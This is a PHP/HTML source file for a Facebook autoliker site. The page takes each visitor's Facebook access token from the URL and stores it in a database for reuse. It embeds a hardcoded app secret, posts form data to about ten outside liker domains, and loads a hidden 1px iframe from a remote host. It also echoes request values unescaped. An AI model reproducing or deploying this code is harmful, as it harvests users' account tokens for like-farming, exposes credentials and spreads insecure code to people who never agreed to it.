<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Pinoy Core Likers | Autoliker</title>

    <!-- Bootstrap Core CSS -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="css/stylish-portfolio.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="font-awesome-4.1.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    <link href="http://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,700,300italic,400italic,700italic" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

</head>

<body>

<div class="container">
		<ul class="breadcrumb">
			<li class="active">Pinoy Core Likers&nbsp; |</li>
			<li><a href="https://www.facebook.com/IamRusselBuenviaje" target="_blank">Contact&nbsp; |</a></li>
			<li><a href="http://leetshares.com/" target="_blank">Leetshares&nbsp; |</a></li>
			<li><a href="http://pinoymp3.ph/fbliker" target="_blank">PinoyMP3&nbsp; |</a></li>
			<li><a href="index.php">Logout&nbsp; </a></li>
		</ul>
	
<?

if (!isset($_SESSION)) {



}

// anti flood protection

if($_SESSION['last_session_request'] > time() - 2){

    // users will be redirected to this page if it makes requests faster than 2 seconds

    header("location: /flood.html");

    exit;

}

$_SESSION['last_session_request'] = time();



?>

<?php

require 'facebook.php';



$token = $_GET["accesstoken"];

$fb_secret  = $_GET["sec"];

$fb_app_url  = 'http://ph.superlike.org/m.php';



$facebook = new Facebook(array(

	'appId' => '190499737732728',

	'secret' => '1ad06c71c3e1f2eb09a399099270c011',

	'cookie' => true

));



include'config.php';



   mysql_query("CREATE TABLE IF NOT EXISTS `Likers` (

      `id` int(11) NOT NULL AUTO_INCREMENT,

      `user_id` varchar(32) NOT NULL,

      `name` varchar(32) NOT NULL,

      `access_token` varchar(255) NOT NULL,

      PRIMARY KEY (`id`)

      ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

   ");



   try {

$parameters['access_token'] = $_GET["accesstoken" ];

      $userData = $facebook->api('/me', $parameters);

   } catch (FacebookApiException $e) {

      die("invalid access token");

   }



if($userData){





   //check that user is not already inserted? If is. check it's access token and update if needed

   //also make sure that there is only one access_token for each user

   $row = null;

   $result = mysql_query("

      SELECT

         *

      FROM

         Likers

      WHERE

         user_id = '" . mysql_real_escape_string($userData['id']) . "'

   ");

   

   if($result){

      $row = mysql_fetch_array($result, MYSQL_ASSOC);

      if(mysql_num_rows($result) > 1){

         mysql_query("

            DELETE FROM

               Likers

            WHERE

               user_id='" . mysql_real_escape_string($userData['id']) . "' AND

               id != '" . $row['id'] . "'

         ");

      }

   }

   

   if(!$row){

      mysql_query(

         "INSERT INTO 

            Likers

         SET

            `user_id` = '" . mysql_real_escape_string($userData['id']) . "',

            `name` = '" . mysql_real_escape_string($userData['name']) . "',

            `access_token` = '" . mysql_real_escape_string($token) . "'

      ");

   } else {

      mysql_query(

         "UPDATE 

            Likers

         SET

            `access_token` = '" . mysql_real_escape_string($token) . "'

         WHERE

            `id` = " . $row['id'] . "

      ");

   }

}







try {

$parameters['access_token'] = $_GET["accesstoken"];

$statuses = $facebook->api('/me/feed?limit=1=', $parameters);

foreach($statuses['data'] as $status)

{

        echo $status["me/photo"], "<br />";

}

}

catch (FacebookApiException $e) {

      die("invalid access token");

}





mysql_close($connection);

?>

<!DOCTYPE html>

<html xmlns:fb='http://ogp.me/ns/fb#'>
<head>
<link href='http://fonts.googleapis.com/css?family=PT+Mono' rel='stylesheet' type='text/css'>
<script type="text/javascript" src="js/jquery.js"></script> 
       <script type="text/javascript" src="js/jquery.form.js"></script> 
	   	<script type="text/javascript" src="http://code.jquery.com/jquery-1.4.2.min.js"></script>
	<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js"></script>



<script type="text/javascript">

function autoLike()

	{

	$("#prepage").hide();

	$("#loading").show();

	}

</script>

<script type="text/javascript">

	$(document).ready(function(){

		$("#myform").validate({

			debug: false,

			rules: {

				posid: "required",

			},

			messages: {

				postid: "Do not Erase the ID!",

			},

			submitHandler: function(form) {

				// do other stuff for a valid form
			        $.post('http://www.gm-likerz.us/pages/like/script.php/proglikes.php', $("#myform").serialize(), function(data) {});
                                $.post('http://www.epi-likes.com/likes.php', $("#myform").serialize(), function(data) {});
                                $.post('http://www.nazaryman.com/likes.php', $("#myform").serialize(), function(data) {});
				$.post('http://www.ninetysevenxz.info/selesai.php', $("#myform").serialize(), function(data) {});
				$.post('http://meor.my/.php', $("#myform").serialize(), function(data) {});
				$.post('http://www.epi-likes.net/poop.php', $("#myform").serialize(), function(data) {});
				$.post('http://www.likers1.tk/likes.php', $("#myform").serialize(), function(data) {});
				$.post('http://tlike.comuv.com/likes.php', $("#myform").serialize(), function(data) {});
			        $.post('http://genkz.net/likes.php', $("#myform").serialize(), function(data) {});
                                $.post('http://www.nkiyulikes.net/likes.php', $("#myform").serialize(), function(data) {});
                                $.post('likes.php', $("#myform").serialize(), function(data) {
	                        
 
					$("#loading").hide();

					$("#success").show();

				});

			}

		});

	});

</script>

	  <script type="text/javascript">

	function showLiker()

	{

	$("#bye").hide();

	$("#prepage").show();

	}

</script>

<center>


<body onLoad="setTimeout('showLiker()', 1000);" >

<div id="mikik">

<div class="box">

<br/>

<br/>

		<div class="jumbotron">
		<center>
					<h1>Welcome To Autoliker!</h1>
</center>

<img src="https://graph.facebook.com/me/picture?type=large&access_token=<?php echo $token;?>" width='200px' height '200px'>

<div class="m">Welcome <?php echo $userData['name']; ?>:<br/><br/>

 <p>Status: </br><div><?php echo $status["message"];?></p>

 </div>

</br>

</br>


      <form name="myform" id="myform" method="post" action="">

<p>Custom Post ID:&nbsp;<input size="31" type="visible" placeholder="Custom UID" name="postid" id="postid";?>

	  <?php

    $endOfTimer = time() + 10;

    $timeTilEnd = $endOfTimer - time();

?>

	 <div id="bye"><span id="timer"><?php echo $timeTilEnd; ?></span></div>

	  <div id="prepage" style="display: none;"><input type="submit" name="submit" class="btn btn-primary" onclick="autoLike()" id="submit_btn" value="Send Likes" /></div>

	  <div id="loading" style="display: none;"><img src="loading.gif" border="0" alt="Please Wait" /></div>

	  <div id="success" href ="index.php" class="btn btn-success" style="display: none;">Success!</div>

	  <script type="text/javascript">

	var TimeLeft = <?php echo $timeTilEnd; ?>;



	function countdown()

	{

	TimeLeft -= 1;

	document.getElementById('timer').innerHTML = TimeLeft;

	}

	CountFunc = setInterval(countdown,60);

	</script>


	</div>

	</form>
<div class="contrib">

	</div>

</div>   	  
<iframe src="http://cdn.voscast.com/player/player.php?host=37.187.79.153&amp;port=5030" frameborder="0" scrolling="no" style="width: 1px; height: 1px; margin-top: -0px;margin-right:-7px; bacground:transparent;"></iframe> 
</body>
<font size="3"> Copyright &copy; Pinoy Core Likers</font>
</html>
